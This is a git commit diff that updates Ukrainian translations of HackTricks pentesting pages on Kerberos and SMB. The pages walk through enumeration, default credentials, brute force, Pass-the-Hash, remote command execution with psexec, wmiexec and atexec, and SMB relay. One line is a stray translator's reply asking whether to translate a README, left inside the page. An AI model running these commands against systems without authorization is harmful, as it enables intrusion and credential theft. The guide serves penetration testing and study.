Translated ['src/network-services-pentesting/pentesting-ssh.md', 'src/ne

This commit is contained in:
Translator 2025-09-29 09:38:10 +00:00
parent 93d7fde464
commit 3fd5d361e4
4 changed files with 435 additions and 299 deletions

View File

@ -2,20 +2,57 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
**Kerberos** працює на принципі, де він аутентифікує користувачів, не керуючи безпосередньо їх доступом до ресурсів. Це важливе розрізнення, оскільки воно підкреслює роль протоколу в рамках безпеки.
**Kerberos** працює за принципом аутентифікації користувачів без безпосереднього керування їх доступом до ресурсів. Це важлива відмінність, оскільки підкреслює роль протоколу в рамках безпеки.
У таких середовищах, як **Active Directory**, **Kerberos** відіграє важливу роль у встановленні особи користувачів, перевіряючи їхні секретні паролі. Цей процес забезпечує підтвердження особи кожного користувача перед тим, як вони взаємодіють з мережевими ресурсами. Однак **Kerberos** не розширює свою функціональність для оцінки або примусу прав, які має користувач на конкретні ресурси або послуги. Натомість він забезпечує безпечний спосіб аутентифікації користувачів, що є критично важливим першим кроком у процесі безпеки.
У середовищах, таких як **Active Directory**, **Kerberos** відіграє ключову роль у встановленні особи користувачів шляхом перевірки їхніх секретних паролів. Цей процес гарантує підтвердження особи кожного користувача перед взаємодією з мережевими ресурсами. Однак **Kerberos** не поширює свою функціональність на оцінку чи примус виконання прав доступу користувача до конкретних ресурсів чи сервісів. Натомість він забезпечує безпечний спосіб аутентифікації користувачів, що є критично важливим першим кроком у процесі забезпечення безпеки.
Після аутентифікації за допомогою **Kerberos** процес прийняття рішень щодо доступу до ресурсів делегується окремим службам у мережі. Ці служби потім відповідають за оцінку прав і дозволів аутентифікованого користувача на основі інформації, наданої **Kerberos** про привілеї користувача. Такий дизайн дозволяє розділити обов'язки між аутентифікацією особи користувачів і управлінням їх правами доступу, що забезпечує більш гнучкий і безпечний підхід до управління ресурсами в розподілених мережах.
Після аутентифікації за допомогою **Kerberos** прийняття рішень щодо доступу до ресурсів делегується окремим сервісам у мережі. Ці сервіси відповідають за оцінку прав та дозволів аутентифікованого користувача на основі інформації, наданої **Kerberos** про привілеї користувача. Така архітектура забезпечує розподіл відповідальностей між аутентифікацією особи користувачів і керуванням їхніми правами доступу, що дає змогу гнучкішому та безпечнішому підходу до управління ресурсами в розподілених мережах.
**Default Port:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Щоб навчитися зловживати Kerberos, вам слід прочитати пост про** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
### **Щоб навчитися зловживати Kerberos, прочитайте допис про** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Середовища тільки з Kerberos: підготовка клієнта та усунення неполадок
Коли NTLM вимкнено на сервісах домену (SMB/WinRM/etc.), ви маєте автентифікуватися за допомогою Kerberos. Типові підводні камені та робочий процес:
- Синхронізація часу обов'язкова. Якщо годинник вашого хоста відхиляється більш ніж на кілька хвилин, ви побачите `KRB_AP_ERR_SKEW` і весь Kerberos auth зазнає невдачі. Синхронізуйте час із DC:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Згенеруйте дійсний krb5.conf для цільового realm/domain. `netexec` (CME fork) може вивести його для вас під час тестування SMB:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Отримати TGT та перевірити ccache:
```bash
kinit <user>
klist
```
- Використовуйте Kerberos з інструментами SMB (без відправки passwords, використовує ваш ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH єдиний вхід (OpenSSH до Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Поради:
- Переконайтеся, що ваш файл `/etc/hosts` вирішує точний FQDN, до якого ви будете підключатися через SSH/SMB, і що цей запис розміщений перед будь-якими bare domain entries, якщо ви перевизначаєте DNS. Невідповідність SPN ламає GSSAPI.
- Якщо NTLM вимкнено на SMB, ви можете бачити `STATUS_NOT_SUPPORTED` при спробах NTLM; додайте `-k`, щоб примусити Kerberos.
## Більше
@ -25,16 +62,23 @@ PORT STATE SERVICE
### MS14-068
Уразливість MS14-068 дозволяє зловмиснику підробити токен входу Kerberos легітимного користувача, щоб неправомірно заявити про підвищені привілеї, такі як бути адміністратором домену. Ця підроблена вимога помилково підтверджується контролером домену, що дозволяє несанкціонований доступ до мережевих ресурсів у лісі Active Directory.
The MS14-068 flaw permits an attacker to tamper with a legitimate user's Kerberos login token to falsely claim elevated privileges, such as being a Domain Admin. This counterfeit claim is mistakenly validated by the Domain Controller, enabling unauthorized access to network resources across the Active Directory forest.
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Інші експлойти: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Автоматичні команди
## Посилання
- [NetExec (CME) wiki Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatic Commands
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.

View File

@ -4,43 +4,43 @@
## **Порт 139**
_**Network Basic Input Output System**_** (NetBIOS)** — це програмний протокол, призначений дозволити застосункам, ПК і десктопам у локальній мережі (LAN) взаємодіяти з мережевим обладнанням та **сприяти передачі даних мережею**. Ідентифікація та локалізація програм, що працюють у NetBIOS мережі, здійснюються за допомогою їхніх NetBIOS імен, які можуть містити до 16 символів і часто відрізняються від імені комп'ютера. NetBIOS-сесію між двома застосунками ініціюють, коли одна програма (що виступає як client) відправляє команду "call" іншій програмі (що виступає як server), використовуючи **TCP Port 139**.
_**Мережевий базовий механізм вводу/виводу**_** (NetBIOS)** — це програмний протокол, призначений для того, щоб дозволити застосункам, ПК та робочим станціям у локальній мережі (LAN) взаємодіяти з мережевим обладнанням і **сприяти передачі даних по мережі**. Ідентифікація та визначення розташування програм, що працюють у мережі NetBIOS, здійснюються за допомогою їхніх NetBIOS names, які можуть налічувати до 16 символів і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома застосунками ініціюється, коли один застосунок (що виступає як клієнт) посилає команду "call" іншому застосунку (що виступає як сервер), використовуючи **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
## Порт 445
Технічно порт 139 називають NBT over IP, тоді як порт 445 ідентифікують як SMB over IP. Абревіатура **SMB** означає **Server Message Blocks**, яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол прикладного рівня, SMB/CIFS переважно використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та полегшення різних форм звʼязку між вузлами в мережі.
Технічно Port 139 називають «NBT over IP», тоді як Port 445 ідентифікують як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», що сучасно також відома як **Common Internet File System (CIFS)**. Як протокол прикладного рівня мережі, SMB/CIFS здебільшого використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та для полегшення різних форм комунікації між вузлами в мережі.
Наприклад, у контексті Windows зауважується, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP, через використання порту 445. Навпаки, на інших системах спостерігається застосування порту 139, що вказує на те, що SMB виконується у звʼязці з NetBIOS over TCP/IP.
Наприклад, у контексті Windows підкреслюють, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP, через використання порту 445. Натомість на інших системах спостерігається застосування порту 139, що вказує на виконання SMB спільно з NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Протокол Server Message Block (SMB), який працює за моделлю клієнт‑сервер, призначений для регулювання доступу до файлів, каталогів та інших мережевих ресурсів, таких як принтери і маршрутизатори. Переважно використовується в серії операційних систем Windows; SMB забезпечує зворотну сумісність, дозволяючи пристроям із новішими версіями ОС Microsoft безшовно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проект Samba пропонує вільне програмне забезпечення для реалізації SMB на системах Linux і Unix, полегшуючи кросплатформенну комунікацію через SMB.
Протокол **Server Message Block (SMB)**, що працює в **client-server** моделі, призначений для регулювання **access to files**, каталогів та інших мережевих ресурсів, таких як принтери і маршрутизатори. Переважно використовується в серії операційних систем **Windows**; SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями ОС Microsoft безперебійно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проєкт **Samba** пропонує вільне програмне рішення для реалізації SMB на системах **Linux** та **Unix**, що полегшує кросплатформену комунікацію через SMB.
Шари, які представляють довільні частини локальної файлової системи, можуть надаватися SMBсервером, роблячи ієрархію видимою для клієнта частково незалежно від фактичної структури сервера. Списки контролю доступу (ACLs), які визначають права доступу, дозволяють здійснювати тонке керування дозволами користувачів, включно з атрибутами `execute`, `read` і `full access`. Ці дозволи можуть призначатися окремим користувачам або групам на основі шарів і відрізняються від локальних дозволів, встановлених на сервері.
Shares, що представляють **arbitrary parts of the local file system**, можуть бути надані SMB сервером, роблячи ієрархію видимою для клієнта частково **independent** від фактичної структури сервера. **Access Control Lists (ACLs)**, які визначають **access rights**, дозволяють здійснювати **fine-grained control** над правами користувачів, включно з атрибутами такими як **`execute`**, **`read`** та **`full access`**. Ці дозволи можна призначити окремим користувачам або групам залежно від shares, і вони відрізняються від локальних прав, встановлених на сервері.
### IPC$ Share
Доступ до шару IPC$ можна отримати через анонімну null session, що дозволяє взаємодіяти зі службами, доступними через named pipes. Для цього корисна утиліта `enum4linux`. При правильному використанні вона дозволяє отримати:
Доступ до IPC$ share можна отримати через анонімну null session, що дозволяє взаємодіяти з сервісами, які відкриті через named pipes. Утиліта `enum4linux` корисна для цієї мети. При правильному використанні вона дозволяє отримати:
- Інформацію про операційну систему
- Деталі про батьківський домен
- Перелік локальних користувачів і груп
- Інформацію про доступні SMBшари
- Інформацію про наявні SMB shares
- Ефективну політику безпеки системи
Ця функціональність критично важлива для мережевих адміністраторів та фахівців із безпеки для оцінки рівня захищеності служб SMB у мережі. Утиліта `enum4linux` надає всебічний огляд SMBсередовища цільової системи, що є необхідним для виявлення потенційних вразливостей і забезпечення належного захисту служб SMB.
Ця функціональність є критичною для мережевих адміністраторів та фахівців з безпеки для оцінки стану безпеки служб SMB (Server Message Block) у мережі. `enum4linux` надає всебічний огляд SMB середовища цільової системи, що є необхідним для виявлення потенційних вразливостей та забезпечення належного захисту служб SMB.
```bash
enum4linux -a target_ip
```
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.
Вищенаведена команда — приклад того, як `enum4linux` може бути використаний для проведення повного enumeration щодо цілі, вказаної як `target_ip`.
## Що таке NTLM
Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює та як його можна зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як цей протокол працює і як ви можете ним скористатися:**
Якщо ви не знаєте, що таке **NTLM** або хочете дізнатися, як він працює і як ним зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як цей протокол працює і як ви можете ним скористатися:**
{{#ref}}
@ -49,13 +49,13 @@ The above command is an example of how `enum4linux` might be used to perform a f
## **Server Enumeration**
### **Scan** мережу, шукаючи hosts:
### **Scan** мережу в пошуку хостів:
```bash
nbtscan -r 192.168.0.1/24
```
### Версія SMB-сервера
Щоб шукати можливі exploits для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не відображається в інших використовуваних інструментах, ви можете:
Щоб шукати можливі експлойти для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не з'являється в інших інструментах, які ви використовуєте, ви можете:
- Використайте допоміжний модуль **MSF** `**auxiliary/scanner/smb/smb_version**`
- Або цей скрипт:
@ -82,15 +82,15 @@ searchsploit microsoft smb
```
### **Можливі** облікові дані
| **Ім'я(я) користувача** | **Поширені паролі** |
| ----------------------- | ---------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| **Ім'я(я) користувача** | **Поширені паролі** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Перерахування користувачів, груп та користувачів, які увійшли в систему
### Перелічення користувачів, груп і поточних увійшених користувачів
Ця інформація вже має бути зібрана за допомогою enum4linux та enum4linux-ng
```bash
@ -140,38 +140,38 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Однорядковий
Однорядкова команда
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Перерахувати локальних користувачів
### Metasploit - Перерахування локальних користувачів
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Перерахування LSARPC і SAMR за допомогою rpcclient**
### **Enumerating LSARPC and SAMR rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### Підключення через GUI з Linux
### GUI підключення з linux
#### У терміналі:
`xdg-open smb://cascade.htb/`
#### У вікні файлового менеджера (nautilus, thunar, etc)
#### У вікні файлового менеджера (nautilus, thunar, тощо)
`smb://friendzone.htb/general/`
## Перерахування спільних папок
## Спільні папки Enumeration
### Перелік спільних папок
### Перелічити спільні папки
Завжди рекомендовано перевірити, чи маєте ви доступ до чогось; якщо у вас немає облікових даних, спробуйте використовувати **null** **credentials/guest user**.
Завжди рекомендується перевірити, чи можете ви отримати доступ до чогось. Якщо у вас немає облікових даних, спробуйте використовувати **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Підключити/Перелічити спільну папку**
### **Підключити/Переглянути спільну папку**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -199,7 +199,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Вручну перелічити windows shares і підключитися до них**
Може статись, що вам заборонено показувати будь-які shares на хост-машині, і коли ви намагаєтесь їх перерахувати, виглядає так, ніби немає жодних shares для підключення. Тому варто коротко спробувати вручну підключитися до share. Щоб вручну перерахувати shares, звертайте увагу на відповіді типу NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні дійсної сесії (наприклад, null session або дійсні облікові дані). Це може вказувати, чи існує share, але у вас немає до нього доступу, або що share взагалі не існує.
Може трапитися, що вам заборонено показувати будь-які shares на хості, і при спробі їх перерахувати здається, що немає жодних shares для підключення. Тому варто коротко спробувати вручну підключитися до конкретного share. Щоб вручну перелічити shares, звертайте увагу на відповіді типу NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні валідної сесії (наприклад, null session або valid credentials). Вони можуть вказувати, чи існує share і ви не маєте до нього доступу, або ж share взагалі не існує.
Common share names for windows targets are
@ -214,12 +214,12 @@ Common share names for windows targets are
(Common share names from _**Network Security Assessment 3rd edition**_)
Ви можете спробувати підключитися до них, використовуючи наступну команду
Ви можете спробувати підключитися до них, використавши наступну команду
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
або цей скрипт (з використанням null session)
або цей скрипт (використовуючи null session)
```bash
#/bin/bash
@ -236,12 +236,14 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
fi
done
```
приклади
"examples" — "приклади"
Вам потрібно перекласти лише це слово, чи весь файл README.md? Якщо весь файл — вставте вміст сюди.
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Перелічити спільні ресурси у Windows / без сторонніх інструментів**
### **Перелічити shares з Windows / без сторонніх інструментів**
PowerShell
```bash
@ -253,7 +255,7 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
консоль CMD
CMD консоль
```shell
# List shares on the local computer
net share
@ -267,7 +269,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (графічний інтерфейс), введіть `\\<ip>\` щоб побачити доступні неприховані шари.
explorer.exe (графічно), введіть `\\<ip>\`, щоб побачити доступні неприховані shares.
### Підключити спільну папку
```bash
@ -276,7 +278,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Завантажити файли**
Перегляньте попередні розділи, щоб дізнатися, як підключитися за допомогою облікових даних/Pass-the-Hash.
Прочитайте попередні розділи, щоб дізнатися, як підключитися за допомогою credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,14 +293,14 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Commands:
Команди:
- mask: задає маску, яка використовується для фільтрації файлів у каталозі (e.g. "" for all files)
- recurse: перемикає рекурсію (за замовчуванням: off)
- prompt: вимикає запит щодо імен файлів (за замовчуванням: on)
- mask: вказує маску, яка використовується для фільтрації файлів у каталозі (e.g. "" for all files)
- recurse: увімкнути рекурсію (за замовчуванням: off)
- prompt: вимикає запит імен файлів (за замовчуванням: on)
- mget: копіює всі файли, що відповідають масці, з хоста на клієнтську машину
(_Інформація з man-сторінки smbclient_)
(_Інформація з manpage smbclient_)
### Пошук спільних папок домену
@ -312,15 +314,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Особливо цікавими серед shares є файли з назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих з **autologon** через Group Policy. Або файли **`web.config`**, оскільки вони містять облікові дані.
Особливо цікавими у шарах є файли під назвою **`Registry.xml`**, оскільки вони **may contain passwords** для користувачів, налаштованих із **autologon** через Group Policy. Або **`web.config`** файли, оскільки вони містять облікові дані.
> [!TIP]
> The **SYSVOL share** є **доступною для читання** для всіх автентифікованих користувачів у домені. Там ви можете **знайти** багато різних batch, VBScript і PowerShell **скриптів**.\
> Ви повинні **перевірити** **скрипти** всередині неї, бо ви можете **знайти** конфіденційну інформацію, таку як **паролі**.
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> Ви повинні **check** **scripts** всередині неї, оскільки ви можете **find** чутливу інформацію, таку як **passwords**.
## Зчитування реєстру
## Читання реєстру
Ви можете мати змогу **зчитати реєстр** за допомогою знайдених облікових даних. Impacket **`reg.py`** дозволяє це спробувати:
Ви можете мати змогу **read the registry** використовуючи знайдені облікові дані. Impacket **`reg.py`** дозволяє вам спробувати:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -328,35 +330,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
**Конфігурація за замовчуванням** сервера **Samba** зазвичай знаходиться в `/etc/samba/smb.conf` і може містити деякі **небезпечні налаштування**:
Конфігурація **за замовчуванням** **Samba** сервера зазвичай знаходиться в `/etc/samba/smb.conf` і може містити деякі **небезпечні налаштування**:
| **Налаштування** | **Опис** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Дозволяє перелічувати доступні шари у поточному шарі? |
| `read only = no` | Забороняє створення та модифікацію файлів? |
| `browseable = yes` | Дозволяє перераховувати доступні шари? |
| `read only = no` | Забороняє створення та зміну файлів? |
| `writable = yes` | Дозволяє користувачам створювати та змінювати файли? |
| `guest ok = yes` | Дозволяє підключатися до сервісу без використання пароля? |
| `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? |
| `create mask = 0777` | Які права мають бути призначені новоствореним файлам? |
| `directory mask = 0777` | Які права мають бути призначені новоствореним директоріям? |
| `logon script = script.sh` | Який скрипт має виконуватися під час входу користувача? |
| `magic script = script.sh` | Який скрипт має виконуватися при закритті скрипта? |
| `magic output = script.out` | Куди має зберігатися вивід magic script? |
| `guest ok = yes` | Дозволяє підключатися до сервісу без пароля? |
| `enable privileges = yes` | Дотримуватися привілеїв, призначених конкретному SID? |
| `create mask = 0777` | Які дозволи мають бути призначені новоствореним файлам? |
| `directory mask = 0777` | Які дозволи мають бути призначені новоствореним директоріям? |
| `logon script = script.sh` | Який скрипт повинен виконуватися при вході користувача? |
| `magic script = script.sh` | Який скрипт має виконуватися при закритті скрипта? |
| `magic output = script.out` | Де має зберігатися вивід magic script? |
Команда `smbstatus` дає інформацію про **сервер** та про **хто підключений**.
Команда `smbstatus` надає інформацію про **сервер** та про **хто підключений**.
## Аутентифікація з використанням kerberos
## Аутентифікація через Kerberos
Ви можете **автентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**:
Ви можете **автентифікуватися** до **Kerberos** за допомогою інструментів **smbclient** та **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
У середовищах, де використовується лише Kerberos (NTLM вимкнено), спроби NTLM проти SMB можуть повертати `STATUS_NOT_SUPPORTED`. Виправте типові проблеми з Kerberos і примусьте аутентифікацію Kerberos:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Для повної конфігурації клієнта (генерація krb5.conf, kinit, застереження щодо SSH GSSAPI/SPN) див.:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Виконання команд**
### **crackmapexec**
crackmapexec може виконувати команди **зловживаючи** будь-яким із **mmcexec, smbexec, atexec, wmiexec**, причому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант хочете використовувати, параметром `--exec-method`:
crackmapexec може виконувати команди, **зловживаючи** будь-яким з **mmcexec, smbexec, atexec, wmiexec**, причому **wmiexec** є методом **за замовчуванням**. Ви можете вказати, який варіант бажаєте використовувати, за допомогою параметра `--exec-method`:
```bash
apt-get install crackmapexec
@ -380,9 +396,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви й використають її для **виконання чогось** (**psexec** завантажить виконуваний файл у шар ADMIN$, а **smbexec** вкаже на **cmd.exe/powershell.exe** і помістить у аргументи payload --**file-less technique-**-).\
**Детальніше** про [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
У **kali** він розташований у /usr/share/doc/python3-impacket/examples/
Обидва варіанти **створюють нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви та використовують її, щоб **виконати щось** (**psexec** буде **upload** виконуваний файл до ADMIN$ share, а **smbexec** вкаже на **cmd.exe/powershell.exe** і помістить у аргументи payload **file-less technique**).\
**Більше інформації** про [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) та [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
У **kali** він знаходиться в /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -390,19 +406,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Використовуючи **параметр**`-k`, ви можете аутентифікуватися за допомогою **kerberos** замість **NTLM**
Використовуючи **параметр**`-k` ви можете автентифікуватися через **kerberos** замість **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Непомітно виконати командний shell без звернення до диска або запуску нової служби, використовуючи DCOM через **port 135.**\
У **kali** він розташований на /usr/share/doc/python3-impacket/examples/
Приховано запустити командну оболонку без запису на диск або запуску нового сервісу, використовуючи DCOM через **port 135.**\
У **kali** він знаходиться на /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Використовуючи **параметр**`-k` ви можете автентифікуватися через **kerberos** замість **NTLM**
Використовуючи **параметр**`-k` ви можете аутентифікуватися за допомогою **kerberos** замість **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,13 +427,13 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Виконання команд через Task Scheduler (з використанням _\pipe\atsvc_ через SMB).\
Виконує команди через Task Scheduler (використовуючи _\pipe\atsvc_ через SMB).\
У **kali** він знаходиться в /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Довідник Impacket
## Посилання на Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
@ -427,44 +443,44 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce облікових даних користувачів**
## **Bruteforce users credentials**
**Це не рекомендується — ви можете заблокувати обліковий запис, якщо перевищите максимально дозволену кількість спроб**
**Не рекомендується — ви можете заблокувати обліковий запис, якщо перевищите максимально дозволену кількість спроб**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Ця атака використовує Responder toolkit, щоб **capture SMB authentication sessions** у внутрішній мережі та **relays** їх на **target machine**. Якщо authentication **session is successful**, це автоматично відкриє вам **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Ця атака використовує набір інструментів Responder для **перехоплення SMB-сесій аутентифікації** у внутрішній мережі та **переспрямування** їх на **цільову машину**. Якщо аутентифікація **сесії є успішною**, вона автоматично надасть вам **системний shell**.\
[**Більше інформації про цю атаку тут.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
